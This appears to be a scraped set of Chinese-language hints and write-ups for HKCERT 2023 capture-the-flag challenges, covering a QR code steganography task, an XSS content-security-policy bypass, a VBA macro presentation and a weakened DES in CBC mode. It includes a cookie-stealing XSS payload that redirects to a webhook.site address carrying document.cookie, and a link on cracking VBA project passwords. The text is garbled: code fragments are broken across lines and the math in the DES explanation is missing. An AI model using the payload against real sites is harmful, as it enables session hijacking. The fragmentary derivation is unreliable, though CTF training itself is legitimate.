/flag1
會看到一個 QR碼,但是看起來有點凹凸不平
rx="0"
和 rx="1"
看起來很可疑
01101000 01101011 ...
hkcert23{...
答案:二進制 ASCII 碼
require
,module
,globalThis
都src
參數任意注入外部 Javascript 代碼:https://hcaptcha.com
,https://*.hcaptcha.com
或 https://pastebin.com
:location='https://webhook.site/your_webhook_site_id/?cookie='+document.cookie
Content-Type
HeaderContent-Type
Header 是 text/plain
,所以不會被當成 Javascript 執行這題建議使用 .NET Framework
這是一個 pptm 檔, 包含了巨集指令. 你可以在開發人員頁 (Developer Tab) 查看 VBA 代碼.
https://support.microsoft.com/en-au/office/show-the-developer-tab-e1192344-5e56-4d45-931b-e5fd9bea2d45
打不開原始碼? 可以試試這方法:
https://stackoverflow.com/questions/1026483/is-there-a-way-to-crack-the-password-on-an-excel-vba-project
然後求其都解到啦,例如改概率,重新排列已加密的資料,又或者直接解密資料等。祝你好運!
在這個挑戰中,我們被給予一個略微修改過的資料加密標準(標記為 DES')。此外,我們還有兩個功能:
encrypt_flag
:使用 DES'-CBC 加密 flag。encrypt
:使用 DES'-CBC 加密任意訊息。目標是使用上述功能獲取旗幟。
由於 __left_rotations
被更改,所有金鑰都變成了弱金鑰。如果我們使用電子密碼本(ECB)操作模式,,或者直觀地說,對相同訊息進行兩次加密將得到該訊息。
圖 1
然而,在這種情況下,我們使用的是 CBC 模式。這是使用 encrypt_flag
(或 encrypt
)加密訊息時的過程。一開始,訊息被填充為 8 的倍數大小。然後,它被切成 8 字節的區塊:
圖 2
然後它被加密為密文 ,並提供給我們。我們如何利用「加密密文實際上是解密它」的行為來恢復 ?
因為 是個固定的初始值,讓我們展示如何通過加密 來取得 :
圖 3。
由於 ,我們傳遞給加密函數的內容即為 。在圖 2 中,我們知道 。現在,我們可以通過計算 來恢復 。
現在試試把其他區塊都解出來吧!